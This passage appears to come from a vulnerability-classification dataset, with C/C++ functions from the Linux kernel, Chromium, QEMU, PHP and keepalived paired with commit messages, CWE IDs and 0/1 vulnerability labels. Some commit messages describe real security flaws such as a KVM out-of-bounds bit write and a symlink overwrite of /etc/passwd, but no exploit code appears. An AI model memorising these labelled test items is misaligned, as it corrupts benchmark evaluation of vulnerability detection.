if (!kvm_regs)
goto out;
r = kvm_arch_vcpu_ioctl_get_regs(vcpu, kvm_regs);
if (r)
goto out_free1;
r = -EFAULT;
if (copy_to_user(argp, kvm_regs, sizeof(struct kvm_regs)))
goto out_free1;
r = 0;
out_free1:
kfree(kvm_regs);
break;
}
case KVM_SET_REGS: {
struct kvm_regs *kvm_regs;
r = -ENOMEM;
kvm_regs = memdup_user(argp, sizeof(*kvm_regs));
if (IS_ERR(kvm_regs)) {
r = PTR_ERR(kvm_regs);
goto out;
}
r = kvm_arch_vcpu_ioctl_set_regs(vcpu, kvm_regs);
kfree(kvm_regs);
break;
}
case KVM_GET_SREGS: {
kvm_sregs = kzalloc(sizeof(struct kvm_sregs), GFP_KERNEL);
r = -ENOMEM;
if (!kvm_sregs)
goto out;
r = kvm_arch_vcpu_ioctl_get_sregs(vcpu, kvm_sregs);
if (r)
goto out;
r = -EFAULT;
if (copy_to_user(argp, kvm_sregs, sizeof(struct kvm_sregs)))
goto out;
r = 0;
break;
}
case KVM_SET_SREGS: {
kvm_sregs = memdup_user(argp, sizeof(*kvm_sregs));
if (IS_ERR(kvm_sregs)) {
r = PTR_ERR(kvm_sregs);
kvm_sregs = NULL;
goto out;
}
r = kvm_arch_vcpu_ioctl_set_sregs(vcpu, kvm_sregs);
break;
}
case KVM_GET_MP_STATE: {
struct kvm_mp_state mp_state;
r = kvm_arch_vcpu_ioctl_get_mpstate(vcpu, &mp_state);
if (r)
goto out;
r = -EFAULT;
if (copy_to_user(argp, &mp_state, sizeof mp_state))
goto out;
r = 0;
break;
}
case KVM_SET_MP_STATE: {
struct kvm_mp_state mp_state;
r = -EFAULT;
if (copy_from_user(&mp_state, argp, sizeof mp_state))
goto out;
r = kvm_arch_vcpu_ioctl_set_mpstate(vcpu, &mp_state);
break;
}
case KVM_TRANSLATE: {
struct kvm_translation tr;
r = -EFAULT;
if (copy_from_user(&tr, argp, sizeof tr))
goto out;
r = kvm_arch_vcpu_ioctl_translate(vcpu, &tr);
if (r)
goto out;
r = -EFAULT;
if (copy_to_user(argp, &tr, sizeof tr))
goto out;
r = 0;
break;
}
case KVM_SET_GUEST_DEBUG: {
struct kvm_guest_debug dbg;
r = -EFAULT;
if (copy_from_user(&dbg, argp, sizeof dbg))
goto out;
r = kvm_arch_vcpu_ioctl_set_guest_debug(vcpu, &dbg);
break;
}
case KVM_SET_SIGNAL_MASK: {
struct kvm_signal_mask __user *sigmask_arg = argp;
struct kvm_signal_mask kvm_sigmask;
sigset_t sigset, *p;
p = NULL;
if (argp) {
r = -EFAULT;
if (copy_from_user(&kvm_sigmask, argp,
sizeof kvm_sigmask))
goto out;
r = -EINVAL;
if (kvm_sigmask.len != sizeof sigset)
goto out;
r = -EFAULT;
if (copy_from_user(&sigset, sigmask_arg->sigset,
sizeof sigset))
goto out;
p = &sigset;
}
r = kvm_vcpu_ioctl_set_sigmask(vcpu, p);
break;
}
case KVM_GET_FPU: {
fpu = kzalloc(sizeof(struct kvm_fpu), GFP_KERNEL);
r = -ENOMEM;
if (!fpu)
goto out;
r = kvm_arch_vcpu_ioctl_get_fpu(vcpu, fpu);
if (r)
goto out;
r = -EFAULT;
if (copy_to_user(argp, fpu, sizeof(struct kvm_fpu)))
goto out;
r = 0;
break;
}
case KVM_SET_FPU: {
fpu = memdup_user(argp, sizeof(*fpu));
if (IS_ERR(fpu)) {
r = PTR_ERR(fpu);
fpu = NULL;
goto out;
}
r = kvm_arch_vcpu_ioctl_set_fpu(vcpu, fpu);
break;
}
default:
r = kvm_arch_vcpu_ioctl(filp, ioctl, arg);
}
out:
vcpu_put(vcpu);
kfree(fpu);
kfree(kvm_sregs);
return r;
}
Commit Message: KVM: Improve create VCPU parameter (CVE-2013-4587)
In multiple functions the vcpu_id is used as an offset into a bitfield. Ag
malicious user could specify a vcpu_id greater than 255 in order to set or
clear bits in kernel memory. This could be used to elevate priveges in the
kernel. This patch verifies that the vcpu_id provided is less than 255.
The api documentation already specifies that the vcpu_id must be less than
max_vcpus, but this is currently not checked.
Reported-by: Andrew Honig <ahonig@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andrew Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20
| 0
| 29,354
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: mojom::ReportingMode PlatformSensorAmbientLightMac::GetReportingMode() {
return mojom::ReportingMode::ON_CHANGE;
}
Commit Message: android: Fix sensors in device service.
This patch fixes a bug that prevented more than one sensor data
to be available at once when using the device motion/orientation
API.
The issue was introduced by this other patch [1] which fixed
some security-related issues in the way shared memory region
handles are managed throughout Chromium (more details at
https://crbug.com/789959).
The device service´s sensor implementation doesn´t work
correctly because it assumes it is possible to create a
writable mapping of a given shared memory region at any
time. This assumption is not correct on Android, once an
Ashmem region has been turned read-only, such mappings
are no longer possible.
To fix the implementation, this CL changes the following:
- PlatformSensor used to require moving a
mojo::ScopedSharedBufferMapping into the newly-created
instance. Said mapping being owned by and destroyed
with the PlatformSensor instance.
With this patch, the constructor instead takes a single
pointer to the corresponding SensorReadingSharedBuffer,
i.e. the area in memory where the sensor-specific
reading data is located, and can be either updated
or read-from.
Note that the PlatformSensor does not own the mapping
anymore.
- PlatformSensorProviderBase holds the *single* writable
mapping that is used to store all SensorReadingSharedBuffer
buffers. It is created just after the region itself,
and thus can be used even after the region's access
mode has been changed to read-only.
Addresses within the mapping will be passed to
PlatformSensor constructors, computed from the
mapping's base address plus a sensor-specific
offset.
The mapping is now owned by the
PlatformSensorProviderBase instance.
Note that, security-wise, nothing changes, because all
mojo::ScopedSharedBufferMapping before the patch actually
pointed to the same writable-page in memory anyway.
Since unit or integration tests didn't catch the regression
when [1] was submitted, this patch was tested manually by
running a newly-built Chrome apk in the Android emulator
and on a real device running Android O.
[1] https://chromium-review.googlesource.com/c/chromium/src/+/805238
BUG=805146
R=mattcary@chromium.org,alexilin@chromium.org,juncai@chromium.org,reillyg@chromium.org
Change-Id: I7d60a1cad278f48c361d2ece5a90de10eb082b44
Reviewed-on: https://chromium-review.googlesource.com/891180
Commit-Queue: David Turner <digit@chromium.org>
Reviewed-by: Reilly Grant <reillyg@chromium.org>
Reviewed-by: Matthew Cary <mattcary@chromium.org>
Reviewed-by: Alexandr Ilin <alexilin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#532607}
CWE ID: CWE-732
| 0
| 148,933
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int handle_statfs(FsContext *ctx, V9fsPath *fs_path,
struct statfs *stbuf)
{
int fd, ret;
struct handle_data *data = (struct handle_data *)ctx->private;
fd = open_by_handle(data->mountfd, fs_path->data, O_NONBLOCK);
if (fd < 0) {
return fd;
}
ret = fstatfs(fd, stbuf);
close(fd);
return ret;
}
Commit Message:
CWE ID: CWE-400
| 0
| 7,694
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void _dbus_print_backtrace(void)
{
init_backtrace();
dump_backtrace();
}
Commit Message:
CWE ID: CWE-20
| 0
| 3,810
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static zend_bool php_auto_globals_create_post(const char *name, uint name_len TSRMLS_DC)
{
zval *vars;
if (PG(variables_order) &&
(strchr(PG(variables_order),'P') || strchr(PG(variables_order),'p')) &&
SG(request_info).request_method &&
!strcasecmp(SG(request_info).request_method, "POST")) {
sapi_module.treat_data(PARSE_POST, NULL, NULL TSRMLS_CC);
vars = PG(http_globals)[TRACK_VARS_POST];
} else {
ALLOC_ZVAL(vars);
array_init(vars);
INIT_PZVAL(vars);
if (PG(http_globals)[TRACK_VARS_POST]) {
zval_ptr_dtor(&PG(http_globals)[TRACK_VARS_POST]);
}
PG(http_globals)[TRACK_VARS_POST] = vars;
}
zend_hash_update(&EG(symbol_table), name, name_len + 1, &vars, sizeof(zval *), NULL);
Z_ADDREF_P(vars);
return 0; /* don't rearm */
}
Commit Message: Fix bug #73807
CWE ID: CWE-400
| 0
| 63,614
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: vrrp_prio_handler(vector_t *strvec)
{
vrrp_t *vrrp = LIST_TAIL_DATA(vrrp_data->vrrp);
unsigned base_priority;
if (!read_unsigned_strvec(strvec, 1, &base_priority, 1, VRRP_PRIO_OWNER, false)) {
report_config_error(CONFIG_GENERAL_ERROR, "(%s) Priority not valid! must be between 1 & %d. Using default %d", vrrp->iname, VRRP_PRIO_OWNER, VRRP_PRIO_DFL);
vrrp->base_priority = VRRP_PRIO_DFL;
}
else
vrrp->base_priority = (uint8_t)base_priority;
}
Commit Message: When opening files for write, ensure they aren't symbolic links
Issue #1048 identified that if, for example, a non privileged user
created a symbolic link from /etc/keepalvied.data to /etc/passwd,
writing to /etc/keepalived.data (which could be invoked via DBus)
would cause /etc/passwd to be overwritten.
This commit stops keepalived writing to pathnames where the ultimate
component is a symbolic link, by setting O_NOFOLLOW whenever opening
a file for writing.
This might break some setups, where, for example, /etc/keepalived.data
was a symbolic link to /home/fred/keepalived.data. If this was the case,
instead create a symbolic link from /home/fred/keepalived.data to
/tmp/keepalived.data, so that the file is still accessible via
/home/fred/keepalived.data.
There doesn't appear to be a way around this backward incompatibility,
since even checking if the pathname is a symbolic link prior to opening
for writing would create a race condition.
Signed-off-by: Quentin Armitage <quentin@armitage.org.uk>
CWE ID: CWE-59
| 0
| 76,028
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DownloadResourceHandler::OnResponseStarted(
network::ResourceResponse* response,
std::unique_ptr<ResourceController> controller) {
if (core_.OnResponseStarted(response->head.mime_type)) {
controller->Resume();
} else {
controller->Cancel();
}
}
Commit Message: When turning a download into a navigation, navigate the right frame
Code changes from Nate Chapin <japhet@chromium.org>
Bug: 926105
Change-Id: I098599394e6ebe7d2fce5af838014297a337d294
Reviewed-on: https://chromium-review.googlesource.com/c/1454962
Reviewed-by: Camille Lamy <clamy@chromium.org>
Commit-Queue: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#629547}
CWE ID: CWE-284
| 0
| 151,979
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual bool SetImeConfig(const std::string& section,
const std::string& config_name,
const ImeConfigValue& value) {
if (section == language_prefs::kGeneralSectionName &&
config_name == language_prefs::kPreloadEnginesConfigName &&
value.type == ImeConfigValue::kValueTypeStringList) {
active_input_method_ids_ = value.string_list_value;
}
MaybeStartInputMethodDaemon(section, config_name, value);
const ConfigKeyType key = std::make_pair(section, config_name);
current_config_values_[key] = value;
if (ime_connected_) {
pending_config_requests_[key] = value;
FlushImeConfig();
}
MaybeStopInputMethodDaemon(section, config_name, value);
MaybeChangeCurrentKeyboardLayout(section, config_name, value);
return pending_config_requests_.empty();
}
Commit Message: Remove use of libcros from InputMethodLibrary.
BUG=chromium-os:16238
TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before.
Review URL: http://codereview.chromium.org/7003086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 1
| 170,505
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int udf_do_extend_file(struct inode *inode,
struct extent_position *last_pos,
struct kernel_long_ad *last_ext,
sector_t blocks)
{
sector_t add;
int count = 0, fake = !(last_ext->extLength & UDF_EXTENT_LENGTH_MASK);
struct super_block *sb = inode->i_sb;
struct kernel_lb_addr prealloc_loc = {};
int prealloc_len = 0;
struct udf_inode_info *iinfo;
int err;
/* The previous extent is fake and we should not extend by anything
* - there's nothing to do... */
if (!blocks && fake)
return 0;
iinfo = UDF_I(inode);
/* Round the last extent up to a multiple of block size */
if (last_ext->extLength & (sb->s_blocksize - 1)) {
last_ext->extLength =
(last_ext->extLength & UDF_EXTENT_FLAG_MASK) |
(((last_ext->extLength & UDF_EXTENT_LENGTH_MASK) +
sb->s_blocksize - 1) & ~(sb->s_blocksize - 1));
iinfo->i_lenExtents =
(iinfo->i_lenExtents + sb->s_blocksize - 1) &
~(sb->s_blocksize - 1);
}
/* Last extent are just preallocated blocks? */
if ((last_ext->extLength & UDF_EXTENT_FLAG_MASK) ==
EXT_NOT_RECORDED_ALLOCATED) {
/* Save the extent so that we can reattach it to the end */
prealloc_loc = last_ext->extLocation;
prealloc_len = last_ext->extLength;
/* Mark the extent as a hole */
last_ext->extLength = EXT_NOT_RECORDED_NOT_ALLOCATED |
(last_ext->extLength & UDF_EXTENT_LENGTH_MASK);
last_ext->extLocation.logicalBlockNum = 0;
last_ext->extLocation.partitionReferenceNum = 0;
}
/* Can we merge with the previous extent? */
if ((last_ext->extLength & UDF_EXTENT_FLAG_MASK) ==
EXT_NOT_RECORDED_NOT_ALLOCATED) {
add = ((1 << 30) - sb->s_blocksize -
(last_ext->extLength & UDF_EXTENT_LENGTH_MASK)) >>
sb->s_blocksize_bits;
if (add > blocks)
add = blocks;
blocks -= add;
last_ext->extLength += add << sb->s_blocksize_bits;
}
if (fake) {
udf_add_aext(inode, last_pos, &last_ext->extLocation,
last_ext->extLength, 1);
count++;
} else
udf_write_aext(inode, last_pos, &last_ext->extLocation,
last_ext->extLength, 1);
/* Managed to do everything necessary? */
if (!blocks)
goto out;
/* All further extents will be NOT_RECORDED_NOT_ALLOCATED */
last_ext->extLocation.logicalBlockNum = 0;
last_ext->extLocation.partitionReferenceNum = 0;
add = (1 << (30-sb->s_blocksize_bits)) - 1;
last_ext->extLength = EXT_NOT_RECORDED_NOT_ALLOCATED |
(add << sb->s_blocksize_bits);
/* Create enough extents to cover the whole hole */
while (blocks > add) {
blocks -= add;
err = udf_add_aext(inode, last_pos, &last_ext->extLocation,
last_ext->extLength, 1);
if (err)
return err;
count++;
}
if (blocks) {
last_ext->extLength = EXT_NOT_RECORDED_NOT_ALLOCATED |
(blocks << sb->s_blocksize_bits);
err = udf_add_aext(inode, last_pos, &last_ext->extLocation,
last_ext->extLength, 1);
if (err)
return err;
count++;
}
out:
/* Do we have some preallocated blocks saved? */
if (prealloc_len) {
err = udf_add_aext(inode, last_pos, &prealloc_loc,
prealloc_len, 1);
if (err)
return err;
last_ext->extLocation = prealloc_loc;
last_ext->extLength = prealloc_len;
count++;
}
/* last_pos should point to the last written extent... */
if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_SHORT)
last_pos->offset -= sizeof(struct short_ad);
else if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_LONG)
last_pos->offset -= sizeof(struct long_ad);
else
return -EIO;
return count;
}
Commit Message: udf: Avoid infinite loop when processing indirect ICBs
We did not implement any bound on number of indirect ICBs we follow when
loading inode. Thus corrupted medium could cause kernel to go into an
infinite loop, possibly causing a stack overflow.
Fix the possible stack overflow by removing recursion from
__udf_read_inode() and limit number of indirect ICBs we follow to avoid
infinite loops.
Signed-off-by: Jan Kara <jack@suse.cz>
CWE ID: CWE-399
| 0
| 36,048
|
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